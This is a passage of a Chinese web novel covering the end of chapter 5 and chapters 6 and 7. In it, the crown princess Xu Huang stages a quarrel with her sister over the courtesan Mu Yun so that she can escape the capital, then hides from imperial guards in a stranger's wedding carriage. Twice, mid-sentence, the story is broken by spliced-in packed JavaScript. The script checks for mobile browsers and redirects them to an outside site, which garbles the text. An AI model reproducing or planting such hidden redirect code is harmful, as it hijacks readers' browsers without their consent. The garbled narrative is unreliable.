皦玉心思细腻,胥璜怕她起疑,不敢多说什么,收拾好就如寻常时候般出门。 琬琰亦步亦趋的跟着她,满眼不放心:“殿下还是带上奴婢吧。” 胥璜脚步不停:“我去抢美人,顾不上你。” 皦玉听的眉心只跳,追上去道:“殿下带上金统领吧。” “不必,天子脚下谁不认得我,就抢个美人能有什么危险,你们无需担心。” 她此行另有安排,带上谁都要被牵连,届时她溜之大吉,身边这些人不知情才不会遭受重罚。 皦玉琬琰见劝说无用,只能无奈叮嘱:“那殿下要早些回来。” “知道了。” 胥璜不敢说什么道别的话,只离开前,最后看她们一眼,笑着摆摆手:“别担心,我很快就会回来,再给你们带些有趣的物件儿。” 凤昭盛产玉器珠宝,她给她们带些回来。 皦玉看着胥璜的背影,心头总觉得不安,可又说不上来为何,只能勉强压下去,在心中祈祷着殿下今日不要惹出什么大乱子才好。 琬琰也在心头安慰自己,今日最坏的结果也就是和三公主抢人抢输了且被罚,再怎样应也闹不出多大的事。 胥璜出了宫门,径直往醉春楼去。 今日的醉春楼人满为患,小厮见这个时辰还有人来,本要上前婉拒,却在看清来人是谁后面上一惊。 “殿下…” 小厮忙迎上前去行礼,被胥璜抬手止住,他遂颔首恭敬道”:“不知殿下大驾光临,小的这就给殿下准备包房。” 话虽这么说,但小厮心里直打鼓。 按理,皇太女该坐主位,可眼下主位坐的是三公主,他们又如何敢去请三公主让位。 正为难时,却听胥璜道:“不必如此麻烦,听说你们楼里来了个新人,我顺路来瞧瞧,已经开始了吗?” 小厮闻言额上冷汗直冒,听殿下这意思竟是冲着暮雲公子来的,可今日在场的人都心知肚明,人早就被三公主定下了。 这诗词比试不过是走个过场。 若殿下要参与,今日怕是不好收场了。 可两位公主他谁也得罪不起,只能硬着头皮道:“回殿下,已经开始了。” 胥璜随意扫了眼,目光落在台中间的红梅屏风上,屏风是名贵的双面绣,用材也很特别,能叫人隐约瞧见美人的风姿,却又见不到人,更惹得人心痒难耐。 胥璜微微勾唇:“这么遮着虽有些趣味,但还是先瞧一眼得好,省得浪费时间。” 小厮闻言一怔。 按照规矩,此时断不可能叫暮雲公子露脸的,可是很显然,皇太女殿下就是规矩。 “是。”小厮一边使眼色让人去禀报老鸨,一边引着胥璜往台前去。 人群本就拥挤,被迫让出一条路免不得怨声载道,可在看见小厮恭敬迎着的人后所有人都不由都噤了声。 皇太女殿下怎么来了! 这个问题自然不难猜,今日是暮雲公子挂牌,皇太女必然是冲他来的。 可众所周知,上头主位帷幔后坐着的是对暮雲公子势在必得的三公主,也不知这暮雲公子是几世修来的福,挂牌日竟引得两位公主现身,这在醉春楼可还是头一遭。 就是不知今日会是哪位公主抱得美人归。 主位淡黄色的帷幔后,女子懒散倚在贵妃榻上,手中不紧不慢的把玩着一串玉珠,身旁几个小倌或蹲或立给她捶腿揉肩,听得外头动静,她隐隐有些不耐,半睁了睁眼:“吵什么?” 女子生的一双凤眸,娇媚中带着与生俱来的贵气,是浑然天成的尊贵人儿。 侍卫恭声禀报:“公主,皇太女殿下来了。” “哦?” 胥琅缓缓睁开眼,略有些意外 :“二皇姐怎么来了。” 侍卫耳力好,自听见了胥璜与小厮的对话,微微沉默后,如实禀报道:“殿下似乎是冲着暮雲公子来的。” 胥琅眼神微紧, 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屏风缓缓挪动,露出大片从楼上垂下的水蓝色浮光锦,年轻的公子端坐其中,身姿如玉,面容倾城,柔和如水,果真好一个绝色美人。 与梦中那张脸渐渐重叠。 胥璜面上不显,指甲却近乎扣进肉里。 她生来懒散,贪图享乐,从不愿多做一件多余的事,能好好的待在皇城享福谁愿意千里迢迢去凤昭杀人,来这里前她也心存侥幸,万一,万一只是一个梦呢? 可此时,眼前那张与梦境中重合的脸将她本就少的可怜的侥幸破灭。 那不是梦,不,不止是梦。 还是预知。 凤昭是非去不可了。 胥璜盯着暮雲神思飘远,落在旁人眼里却是另一层意思了。 不同于醉春楼老鸨的紧张难安,其他人大多是存了看热闹的心思。 自古风流韵事,最为人津津乐道。 就在这时,楼上帷幔突然被掀开,微冷的声音打破了楼中诡异的平静:“不知二皇姐来,臣妹有失远迎。” 胥璜回过神,却并没挪开视线,而是直勾勾盯着暮雲,意有所指:“本宫今日不负此行。” 这话立时引来周遭一片小声议论。 无不是等着看两位公主如何相争。 暮雲作为风浪中心的人,早已在屏风挪开时就已起身朝胥璜行礼,听到这话他身子微微顿了顿,但这种场合没他说话的资格,只能卑微的低下头立在一旁。 “公子坐回去吧。” 胥璜语气温柔道:“如此美人,旁人多看一眼,本宫都嫉妒的慌。” 显然,这是瞧上了。 老鸨听得心惊肉跳,却也不敢多言,连带着对暮雲都客气了许多,躬身将暮雲请了回去:“公子请回。” 不论他今日跟了哪位公主,都是攀上了金枝玉叶,一跃飞上了枝头,日后与他们这些人就是天壤之别。 也不知这是几辈子修来的福分。 胥琅脸上的笑意早已散去,甚至带了几分寒意,她实在不明白胥璜怎会突然冒出来跟她抢人! 旁人便罢,这一个她正爱的紧,决计是不可能让出去的。 屏风再次拉上,胥璜才舍得挪开视线,看向正为难的老鸨,道: “不必另设座位,我与三皇妹同在一间便好。” 如此自是最妥当,老鸨微微松了口气。 胥璜也懒得费劲绕行,足尖一点一跃而上,落在胥琅身侧,无视胥琅满眼的寒意,俯视众人:“不是比诗词么?开始吧。” 6. 第 6 章 胥琅与胥璜的关系其实不算差,幼年时甚至还很是亲近,只是同为嫡公主,免不得被再三拿出来比较,久而久之,二人也就疏远了些。 不过姐妹情分依旧在,寻常见着还是会寒暄玩笑,不曾有过什么解不开的矛盾,也极少有这样争锋相对的时候。 且胥璜性子相对随和,总是笑盈盈示人,几乎不会主动与人为难,更不会有意叫人难堪,如果有,那就一定是故意的。 这也正是胥琅想不通的,她甚至在想,近日她是否得罪过她了。 胥璜堂而皇之步入主位,手从小倌剥好的葡萄上划过,捻了颗蜜枣。 这一幕落入了胥琅眼里,她面色古怪地坐到了胥璜身侧。 她这位皇姐看似随和,对谁都笑盈盈的,可她知晓少有人能入她的心,且别人碰过的东西也好物件也罢,她决计不会要。 即便明面上暮雲还是清白身,可她因他在这里宿了几日,他方才又在众目睽睽下戴着她给的玉串出来,她不信二皇姐没瞧见,他的身上已经打上了她的烙印,依二皇姐的性子,断然不会来争才是。 她今日这番到底是为了什么? 暮雲再是绝色,也还不至于让她改了性子。 “听说三皇妹为了这暮雲公子,已在醉春楼宿了几日,可我瞧着,三皇妹好像还没得到美人心?” 这话无疑是在挑衅胥琅。 胥琅脸色又沉了几分。 “二皇姐不是不知,我看上的人何曾失过手。” 不过一个小倌,她能瞧上对他来说是莫大的幸运,毕竟有了她的庇护,不说余生荣华,至少在这这种地方,没人敢欺负她的人。 在暮雲之前,她瞧上谁不过都是勾勾小指头的事,但暮雲与他们不同,所以她愿意耐着性子多给他些体面。 “是么,可若是今日那暮雲选了我,三皇妹该如何?”胥璜。 胥琅眼底冷光闪过:“二皇姐如此笃定?” 方才他走出去行礼时她看得分明,他腕上戴上了她的珠串,那便是她的人,若敢有二心,她不会留情。 “且拭目以待。” 胥璜意有所指的看着胥琅:“三皇妹知道的,我想要的东西,也没有失手过。” “再说了,进东殿还是公主府,聪明人都知道怎么选,我方才打眼一瞧,这暮雲公子不像是个笨的。” 这话一出,包房内的温度都好似降了几分,屋里的小倌侍从无不是屏气凝神,不敢发出丝毫动静。 “你到底想做甚?” 过了许久,才听胥琅咬牙道。 “这还不明显吗,这个人我也瞧中了。” 胥璜说的无比坦然:“美人谁不爱,你要得,我便要不得?” 胥琅快被她气笑了:“二皇姐难道不知君子不夺人所好?” “知啊。” 胥璜不紧不慢道:“可这人,不是还没进公主府么?” 眼看气氛越来越紧绷,外头传来通传声,来送纸笔的人到了。 胥璜随意瞥了眼,却没有半分动作,而是道:“若我没看错,去年的文科状元也来了,她的诗可谓是一绝,如今都还为万人追追捧,我倒是好奇,有她在,三皇妹打算怎么赢?” 胥琅偷偷白了她一眼。 怎么赢? 当然是使手段啊,不然还指望她胜过状元? 但这话大家心知肚明,却不会宣之于口。 “今日比的又并非全是文采,无非就是看谁的诗能被暮雲所喜。” 也就是说,决定权全在暮雲身上。 胥璜煞有其事的哦了声,看了眼送来的一份笔墨,好奇道:“三皇妹怎不需要作诗?” 自然是因为她的诗早就摆在了暮雲面前。 规则是不署名,又没说不能让她的人亲手送去。 “在二皇姐来之前,我的诗便送去了。” 想到这里,胥琅眼眸微动。 二皇姐今日身边没带人,总不可能亲自将诗送过去,都不需要她使手段,只要按照规矩将二皇姐不署名的诗与其他人一起送过去,她便不可能有胜算。 毕竟,就她们这文采,想不输都难。 “哦...这样啊...” 胥璜略有些苦恼道;“我还想着借鉴...哦不,观摩一二呢。” 对上胥琅怪异的眼神,她笑着解释:“毕竟三皇妹近水楼台,暮雲公子喜欢什么,想必三皇妹更了解些。” 胥琅气不打一处来。 要不是对方是皇太女,又占了长,她早把不要脸几个字甩在她脸上了。 胥琅皮笑肉不笑:“那真是不巧呢。” 胥璜但笑不语,起身走到了桌前,不过她却没动笔,而是将桌上纸张挪开。 “这种纸我用不惯,幸好我今日出门给自己算了一卦,卦象显示,今日出门,宜带纸。” 胥璜边说边从怀里掏出一张折叠整齐的纸张,铺在桌上。 这番操作让所有人看傻了眼。 那可是东殿专用的镶金纸,她用这张纸作诗,署不署名有什么区别? 只论诗,胥璜没有胜算,暮雲不选也实属正常,可众所周知,镶金纸是皇太女专用,再给暮雲几百个胆子,也不敢在众目睽睽下将皇太女的诗淘汰。 胥琅已然气的眉心直跳。 哪家卦象会显示出门宜带纸,这分明是有备而来! 她到底为什么对暮雲如此执着? 还是说,当真是冲她来的,纯粹是想给她找不痛快? 可她已回想过几遍,着实想不出近日哪里得罪过她,难道是父后做了什么? 胥璜对自己的文采很有自知之明,也没多思量,抬笔写完便交给了楼中小厮。 “给暮雲公子送去吧,让他仔细斟酌着选,莫要选错了人,惹人生气便不妙了。” 胥琅的手紧攥成拳。 当着她的面如此威胁,将她的脸面置于何地! “是。” 小厮小心翼翼将纸收走,躬身一路送到了暮雲跟前。 老天爷,幸得他没生一副好皮相,不必面临这样要命的抉择。 荣华富贵果真不是那么好接的,这一个不好,枝头没攀上,脑袋得先掉了。 果然,暮雲看着面前的镶金纸脸色微变,但很快就镇定下来。 “皇太女殿下可有带什么话?” 小厮迅速看了眼他:“暮雲公子,殿下确实带了话。” 小厮将胥璜的话复述了一遍,便折身离开,留暮雲一人陷入沉思。 时间缓缓流逝着,可香燃尽,暮雲还是没有送出选中的诗词。 在一众议论纷纷中,老鸨心惊担颤的上楼请示。 “禀皇太女殿下,三公主,暮雲选中了两首诗,拿不定主意。” 至于选的哪两首,答案显而易见。 胥璜似笑非笑的明知故问:“哦?哪两首诗让暮雲公子如此摇摆不定?” 老鸨恭敬回道:“正是殿下与三公主的诗。” 胥琅此时心中的怀疑也渐渐的散去了。 若暮雲真与二皇姐有什么,便不会戴上她的珠串出去行礼,若他真有心选二皇姐,此时便不必如此为难。 毕竟这种情况下皇太女的确是最佳选择。 所以,暮雲想选的是她。 可正因如此,暮雲才气的牙痒痒。 若无胥璜搅局,此时她已能登堂入室,与美人把酒言欢了! “原来如此,那既然暮雲公子选不出来,三皇妹,不如我们换个方法,如何?” “换什么?” 胥琅沉声道。 “打一架吧。” 胥琅一口气差点没提上来。 她猛地转头瞪着胥璜,她在说什么疯话,谁不晓得她胥璜武学天赋比她强许多? 她顶多也就比大皇姐好上一点。 提出打架定胜负,可真是不要脸! “我不用内劲,且还让你一只手,如何?”胥璜继续道。 其实她的武功真算不得多好,只是对比胥琅而言,她更有天赋,也练的更多些。 但论起战场上的真刀实枪,此时的自己还差的远。 而梦里,她也因此吃了不少亏。 “我不和你打。” 胥琅毫不犹豫的拒绝,她几年都不曾进过练武场,便是让她一只手,她也没有胜算。 “这你说了可不算。” 胥璜摇了摇头道。 胥琅还没反应过来她此话何意,掌风就已到了跟前,她本能的侧身躲开,却见身后茶杯应声而碎,她震惊的回头看着胥璜:“你来真的!” 这一掌若打在她脸上,她非得当场晕过不可! “既是抢人,自然得来真的。” 胥璜说罢也不给胥琅再反应的时间,迅速欺身攻上去。 胥琅武学早就懈怠下来,哪里是胥璜的对手,别说有还击的余地,躲都是躲的万分狼狈。 侍卫侍女在一旁看得心惊肉跳,可他们也不敢对胥璜出手,眼见自家公主被打的狼狈逃窜,侍女急的直跺脚。 “这可如何是好。” 侍卫灵镧绷着脸眼也不眨的盯着,他不敢对皇太女动手,但也不能眼睁睁看公主受伤。 突然,胥琅被逼到了栏边,胥璜却丝毫没有停下来的趋势,胥琅避无可避,挨了这一掌必定要落下楼去。 千钧一发之际,灵镧迅速闪身过去,将胥琅从危险中推离,自己却因不敢动手接了胥璜一掌,被击落出包房。 木栏杆也随之碎了好几根。 包房里的动静早就引人侧目,正猜测时突然见三公主的贴身侍卫被击落至台上,场面顿时鸦雀无声。 胥璜居高临下的望着站起身的灵镧,扬声道:“今日这人我抢定了,谁敢阻拦?” 说着,她便一跃而下,竟是朝暮雲掠去。 追到栏边的胥琅察觉到她的意图,忙道:“灵镧,看住她!不许她带走暮雲!” “是。” 灵镧不敢对胥璜动手,只能拦在她跟前不让她靠近暮雲,因此挨了胥璜好几掌,唇角已渗出血丝。 胥琅面上终于带了怒气。 这样下去,灵镧非得被打死不可! “来人,快拦住她!” “带暮雲走。” 胥琅的人得到命令,一拥而上。 胥琅出行身边带的都是高手,胥璜哪里是他们的对手,虽然他们不敢对她动手,但在这样的层层阻拦下,她也靠近不了暮雲。 可她也不愿放弃,眼看事态愈演愈烈,老鸨急的找上暮雲:“暮雲公子,你快劝劝啊。” “这两位祖宗谁在这里受伤都了不得!” 暮雲却巍然不动。 他只起身紧紧盯着试图朝他突围的胥璜。 老鸨急的不行:“这事因你而起,若真闹出什么,你也难逃罪责。” 可任他怎么劝说,暮雲都不曾开口。 直到胥琅的人伤的七七八八,他才疾步走出屏风,噗通朝胥璜跪下:“殿下饶命。” 胥璜见他出来这才停了手,冷声道:“本宫要你的命作甚,本宫再给你一次机会,跟本宫回去。” 胥琅这时已经从楼上跑了下来,怒气冲冲的护在暮雲身前。 “没我的允许,没人能将他带走!” 胥璜却半分也不看她,目光牢牢锁在暮雲身上:“只要你愿意跟本宫走,没有人能伤害你,亦可保你余生荣华。” “胥璜!” 胥琅忍无可忍:“我说了,你带不走他!” “你难道不想知道他的意思?”胥璜冷笑道:“还是说,你知晓他会选择我,不敢让他开口?” “当然不是!” 胥琅分毫不让:“我们之间的争抢,何必为难他?” 站在暮雲的立场,闹到这种地步,他今日选谁都是将另一个得罪狠了。 若能一直得宠倒也不惧,可花无百日红,谁又能保证他能永远被庇护,一旦被弃,这世间就再无他容身之所。 “哟。”胥璜笑道:“三皇妹这就心疼上了。” 不等胥琅回答,胥璜脸色一冷:“直呼本宫名讳,胥琅,你好大的胆子!” 暮雲脸色骤变,在胥琅开口前,重重磕了一个响头:“殿下容禀!” 胥琅听得那声重响皱了皱眉头。 “闭嘴,没你说话的份。” 暮雲却匍匐在地,声音坚定的继续道:“殿下,奴心仪三公主已久,还望殿下成全。” 这话一出,满楼寂静。 不少人倒吸一口凉气,这暮雲胆子可真是大,这种时候说这话将皇太女颜面置于何地。 他不要命了吗。 老鸨更是吓得身子一抖。 天老爷,他只是让他去劝劝,没让他真的做选择啊。 这种情况,他一个小倌就静静的当鹌鹑,来当这出头鸟作甚! 三公主凭自己本事抢赢了,皇太女就算记恨也是记恨三公主,可若暮雲自己冒出来,让殿下在这里丢了颜面,日后就算有三公主庇护,只要皇太女不饶人,他又能有什么好日子过。 胥琅也是微怔。 “你怕什么,有我在还轮不到你说话。” 暮雲唇角扯出一抹苦笑。 皇太女抓住了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411452|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主的把柄,以此威胁他能如何? 胥璜的神色彻底沉了下去。 她紧紧盯着暮雲,声音冷到了骨子里:“好一个心仪已久!看来是全然不将本宫放在眼里。” “奴任凭殿下处置。”暮雲。 胥琅闭了闭眼,深吸一口气,看向胥璜:“你欺人太甚!” “暮雲是我的人,还轮不到二皇姐来处置。” 胥璜目光淡淡地看向她。 “所以,三皇妹要因为一个小倌与我决裂?” 胥琅一怔:“……” 她何时说要与她决裂? 不等她开口,胥璜气极反笑:“好,好得很。” “也罢,区区一个小倌,我要多少没有,既然不知好歹,便别怪本宫他日不留情面。” 说罢,胥璜干脆利落的转身离去。 “你……” “公主。” 胥琅还要开口,被身后的人低声打断。 她皱了皱眉,折身将人拉起来,再去看胥璜时,人已经出了醉春楼。 这场纷争到这里总算落下了帷幕,可谁都知道这件事定还没完。 皇太女被如此落了颜面,岂会轻易放过那暮雲,没权没势,生的这幅皮相,也不知是福是祸呢。 果然,没过多久,便有消息传来。 说是胥璜去了与醉春楼齐名的云风阁,要寻一个比暮雲好看的小倌,可暮雲这样的角色,又哪里是随处可见,云风阁自然交不出人。 胥璜大发雷霆,放言寻不到绝色美人便不回宫。 这话传到胥琅耳中,她嗤之以鼻。 她胥璜敢不回宫,太傅的板子怕是能追出皇宫来。 然却见暮雲脸色突变。 “怎么了?” 暮雲神情复杂的看着胥琅,半晌才道:“奴以为,殿下的目的正在此。” 胥琅一时没反应过来:“什么?” 暮雲无声叹了口气,缓缓道:“殿下看奴的眼神里,没有半分旖旎。” “殿下对奴,无意。” 胥琅闻言一怔:“她无意她闹这么大动静……” ‘殿下放言不寻到暮雲公子这样的绝色美人绝不回宫’ 胥琅脸色一变,猛地站起身:“遭了!” “她利用我!” 而后她想起什么,古怪的看向暮雲:“你早就知道?” 暮雲苦笑摇头:“奴哪能猜到殿下心思,先前也只是有所猜测。” “奴见殿下看奴的眼神分外清明,不掺和半分情意,却又见殿下执意要奴,便觉得有些古怪。” “而后殿下送来的诗虽是首情诗,但奴看得出其中敷衍,奴便猜测,殿下今日此举怕是另有缘由,后来,殿下逼奴做选择,又以公主威胁,奴便不得不顺了殿下的意。” “殿下那句,莫选错了人,惹人伤心,也是在暗示奴选择三公主。” 他与殿下初识,不选殿下,殿下只会有怒气,而不是伤心。 胥琅气笑了。 原来她一直是在逼她动怒,又以她要挟暮雲,合着她这是一环扣一环! “她到底要做什么!” “奴先前也不明白,但眼下看来,殿下怕是想要借此离开皇城。”暮雲。 若只是离宫,何须闹如此大动静。 胥琅眉头紧锁,片刻后,扬声吩咐道:“来人,快去城门,务必拦下皇太女!” 她今日若跑了,她必定要受牵连! 然而已经晚了,城门守卫回话,皇太女殿下已经在一刻钟前出了城,早已不知所踪。 胥琅只觉太阳穴突突直跳。 “胥璜,你好得很!” 灵镧硬着头皮请示:“公主,要派人追吗?” “追什么追?”胥琅:“她既然是早有准备,又怎么会叫人追到。” 不过…… 胥琅转念一想,吩咐道:“安排人手去寻,务必将阵仗闹大些。” “要叫所有人知晓,我自知惹怒皇太女,只要她肯消气回来,我愿意同她赔罪。” 倒不是在意什么名声,她和胥璜早就没有名声这东西了。 只是若母皇问罪下来,她也难脱干系,再严重点,暮雲怕都要受牵连。 “跟我回宫。” 胥琅一把拽起暮雲,咬牙道:“传令下去,我冒犯皇太女,自罚禁足三月。” 暮雲动了动唇,最终是轻声道:“多谢公主。” 此事并非全是三公主的错,三公主若去陛下跟前辩驳,也是能占些哩的,只是如此一来,这罚多半就要落到他头上。 三公主此举,是为了护他性命。 城外 胥璜快马加鞭跑出十里才停下。 “吁。” “出来吧。” 话落,一道黑影从天而降。 “殿下。” 胥璜自知此行危险,又怎么可能一个人不带,不过人带多了显眼不说,也容易打草惊蛇,所以她挑了暗卫副统领明鸷。 明鸷内力深厚,最擅轻功,遇着危险实在打不过可带她逃命。 “到了下个城镇,你去买匹马,此后一行你我兄妹相称。” 明鸷一惊:“属下不敢……” “胥琅回过神来必定会派人来追,母皇也定会寻找我的踪迹,你我兄妹相称,可掩人耳目。”胥璜打断他道。 明鸷沉默片刻才恭声应下:“是。” 随后,他想了想还是道:“三公主若知被殿下利用,怕是会与殿下生气。” 他跟在殿下身边已久,自看得清楚殿下其实是很在意姐妹情。 胥璜勾唇:“无妨。” “三皇妹养尊处优太久,对危险毫无警觉,也该叫她知道什么是无能为力。” 今日看似是她输了,实则落下风的并非是她,但凡她带了人,今日胥琅便护不住暮雲,胥琅今日赢在暮雲选了她,而不是她强过她,胥琅心思敏感,她此时必定已经深有体会。 梦里,到最后,胥月皇室只剩她一人。 大皇姐为救她而死,三皇妹也死在战场。 今日或许不能叫胥琅发愤图强,但怎么也能叫她警醒一二。 以她要强的性子,不会甘愿白白被她利用。 她想要保住暮雲,就一定会动些心思,使些手段,管她用什么招,都好过脑子里只有美色。 至于其他的,只能慢慢来,有些东西不是一朝一夕就能改变的。 就像现在,她哪怕知晓前路未卜,但此时此刻,她只想找个地方好好睡一觉。 胥璜揉了揉发酸的腰,这颠簸之苦她是一点也不想受! 7. 第 7 章 果然如胥璜所料,刚到下个城镇,便发现关卡已经戒严,这样快的速度,显然是女皇下了令。 胥璜远远瞧见守城官兵正拿着画像比对,便朝明鸷道:“多半是母皇下了追查令,我进不了城,你去买面纱和马,我们绕行。” 追查令来的这般急,定没时间细查她是否带了人出来,便是送了画像应也只有她的,而明鸷是她的暗卫,寻常不露于人前,见过他的除了东殿的人只有母皇和母皇近卫,这里不可能有人认出明鸷。 “是。” 明鸷警惕的扫了眼四周,道:“此处显眼,殿下先行,属下买完东西便追上来。” “好。” 她的画像既然已经送到了这里,说不准周围便有皇城来的人,她的确不适合在此逗留。 胥璜调转马头,往西绕去。 此行为了不让人起疑,除了带上明鸷与银钱,胥璜并无其他任何准备。 离开官道,刚入林中便遇上了岔路口,她看着两条陌生的道路,懊恼道:“该带份舆图的。” 她一时拿不定主意往哪条路走,便打算先在此等着明鸷,她寻了棵两人粗的大树将马拴好,便靠着树根坐下歇脚。 大约等了小半个时辰,便听马蹄声疾驰而来,胥璜立刻起身躲在树后。 很快,便见一人一马飞快驶来,胥璜认出是明鸷,还没来得及松一口气,便听明鸷遥遥朝她急声喊道:“殿下,快走!” 胥璜没有丝毫犹豫迅速解开绳子翻身上马,拉住缰绳时明鸷正好追上她,两匹马如离弦的箭般飞射而去。 “来的是陛下身边的雾影卫,认出了属下。”疾风和着明鸷的话一并传入耳中,叫胥璜心头一惊:“来了多少人?” “五个。” 胥璜心头一沉,她猜到可能是明鸷被认了出来,但没想到来的竟是雾影卫。 且还来了五个! 母皇身边有几支影卫,其中雾影是最高级别,只执行最紧急的要务。 当然,能力也是最强的。 一旦被雾影卫追上,她恐怕就难以脱身了。如此想着,胥璜当机立断:“分头跑!下个城池会和。” “是。”恰好行至岔路,明鸷将手中包袱扔给胥璜,便迅速往另一条路而去。 胥璜接过包袱,快马加鞭往前奔去,不敢有丝毫停留。 两条路,最坏的结果是她引来三个雾影,而她那点身手与雾影卫比起来,简直是关公面前耍大刀。 她一个都对付不了,更别提三个! 梦境中,经过一场又一场恶战,护她到最后的便是雾影卫。 但眼下,他们只听命于女皇。 她若被抓回去,再想跑出来难如登天! 突然,耳边隐约传来一阵嘈杂,才刚转过路口,胥璜便被眼前一大片红晃了眼。 接亲队伍约摸有五十余人,个个都着喜庆的大红色,镶了金玉的马车上更是堆满了红绸,放眼望去,宛若一条红色长龙。 这是碰上哪家娶亲了。 一个念头蓦地闯入脑海,胥璜顾不得多做计划,从包袱里扯出面纱戴上,眼睛直勾勾盯着那辆越来越近的马车。 她不可能跑得过雾影卫,被追上是迟早的事,眼下只能另寻他法先躲开他们。 而这支意外碰上的接亲队伍,是一个极好的契机。 大约是长时间赶路,护卫随从都有些精神不济,听见动静只抬眼瞧了眼胥璜,见是位独身赶路的姑娘,都没有做任何防备。 胥璜与马车几乎擦肩而过,直到完全越过接亲队伍,胥璜立刻喝停马,将包袱取下来,用力拍了拍马,让它继续前行。 她则折身追上接亲队伍。 正在她愁寻不到时机靠近那辆马车时,却见马车突然停下,里头的人不知说了什么,守在马车周围的人都纷纷转过头去。 这简直是千载难逢的好时机。 胥璜以极快的速度窜进了马车。 里头的人掀盖头的动作一顿,不等胥璜出声,新人便先开了口:“不是说了,没我的允许不许上来。” 音色清浅而懒散,平静中带着几分不耐,极为好听。 不对,这不是重点,重点是,这是男子的声音! 胥璜沉默了一息,心头涌上些悔意。 在胥月,男女皆可嫁娶,只讲究个两厢情愿,都怪她方才急着脱身没有瞧清楚是娶夫人还是夫郎。 原本的计划被打乱,胥璜一时也没了主意。 毕竟这种情况若被接亲队伍发现,难免要连累他名声。 许是见她不作声,新郎抬手扯下盖头,不耐的瞪来:“下去……” 话音在看见胥璜后微微一顿,新郎眼底随后闪过几丝疑惑:“你戴面纱作甚?” 若不是此番情境不对,胥璜倒是想问问这位新郎,盖头之下为何还有面具。 眼前的新郎戴着半张金色面具,只露出一双眼睛和小半张脸,即便如此,以胥璜的经验也能判断出,眼前人必乃倾城颜色! 也不知是哪个女子这么有福气。 不对… “你说什么?” 新郎眼底的疑惑已被不耐取代,但音色依旧清浅慵懒,不疾不徐:“我家乡有规矩,成婚后才可取下面具,这不是快到皇城了,你偏急这一时作甚?” 胥璜终于后知后觉的明白了什么。 这新郎是将她当成今日的新娘子了! 胥璜只觉得脑袋里一团乱麻。 他不认识自己的新娘子? 且新娘子没有见过他的脸? 这成的是哪门子婚? “我……” 鬼使神差的,胥璜顺着他的话道:“我有些累,想与你同乘。” 新郎闻言皱了皱眉头。 显然,他并不情愿。 “就一小会儿。” 胥璜承诺道。 只要躲过雾影,她便会立刻离开。 四目相对,各有各的坚持,最终新郎官败下阵来:“行。” 说着他便要起身,胥璜慌忙拉住他一小片衣角:“你去哪里?” 新郎官眼神古怪的盯着她半晌,道:“如厕。” 胥璜身体一僵,飞快放开那片衣角。 怪不得马车突然停下,原来如此。 新郎下了马车,胥璜在里头如坐针毡,她怕被发现,不敢掀开车帘去看外头的情况,又怕新郎在外头遇见真正的新娘子。 好在她所担忧的都没有发生。 没等多久,新郎去而复返。 他仿若当她不存在,自顾自坐回去,再给自己盖上了盖头。 接亲队伍继续前行,胥璜坐在马车里只觉梦幻,满是不真实。 太平静了,太顺利了。 期间不管哪个环节出了错,她都会暴露,偏偏一切顺利的好像…她当真是今天的新娘子。 一切都归功于这对新婚夫妻好像,不太认识,她从没见过这么不熟的新婚夫妻。 不过,她也没见过几对新婚夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411453|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是了。 突然,耳边传来均匀的呼吸声,胥璜僵硬的转头看去,只见新郎已经靠在马车上睡着了。 他倒是心大,才这会功夫就睡着了? 也是这时胥璜才发现马车车壁上特意钉过一层软垫,不管他头往哪边歪,都不会伤着。 胥璜:“…” 虽然这对新婚夫妻看似不熟,但新娘子倒是很在意这位夫郎。 不过也对,如此容色身段气质,实在难得一见,很难不宠着。 突然,耳畔隐有疾风掠过。 胥璜脸色一沉,来了! 比她想象中的要快很多。 幸得她早做打算。 待那阵气流远去,胥璜深深吸了口气,悄悄掀开车帘一角。 她得离开了。 雾影卫很快就会追上她那匹马,发现没人定会怀疑到这支迎亲队伍。 她必须得马上离开。 可她怎么能神不知鬼不觉的跳出马车? “放下,刺眼。” 胥璜默默看了眼小到可以忽视的缝隙,又回头瞥了眼新郎:“…” 这人怎么比她还娇气。 她合理怀疑他盖那盖头就是为了挡光的。 胥璜无声放下车帘,在心中思索着如何脱身,实在不行,只有硬闯出去了。 她早就观察过,此行中没有什么高手,她轻功最拿得出手,应该能在雾影卫回头前跑得掉。 只是若如此,必然要叫人发现她与他同乘过,若引得新娘子介怀便不妙了。 但眼下,似乎也没有更好的办法了。 正在胥璜决定离开时,马车突然停了下来。 胥璜心一颤,该不会雾影卫这么快便有所察觉了? 正在她浑身警惕时,便察觉到有脚步声靠近,听脚步声,不会武功。 她的心微微落下。 但下一刻想到什么又提到了嗓子眼,此时能让接亲队伍停下过来寻新郎的除了新娘子还能是谁! 果然,一道女声从马车外传来:“我方才睡过去了,听人禀报夫君醒了。” 胥璜猛地朝新郎看去。 只见那盖头轻轻晃了晃。 但没人做声。 “我不是有意叨扰夫君,只是夫君小半日没用过饭了,有些担心。”新娘子继续道。 盖头又晃了晃。 胥璜大约能猜到他此刻的迷茫,心一横,在他出声前取下发簪迅速抵住他的脖颈,因这动作,将他的盖头不慎扯下。 然后便对上一双朦胧茫然的眼睛。 他似乎还不明白发生了什么,不明白为什么出现了两个新娘子,也似乎不明白她为何会拿簪子对着他。 “让她走。” 胥璜无声道。 新郎眨了眨眼,似乎好半晌才反应过来他好像被挟持了,但眼底却没有丝毫惧意。 “哦。” 胥璜:“…” 他是不是冷静的有些过头了。 “我不吃。” 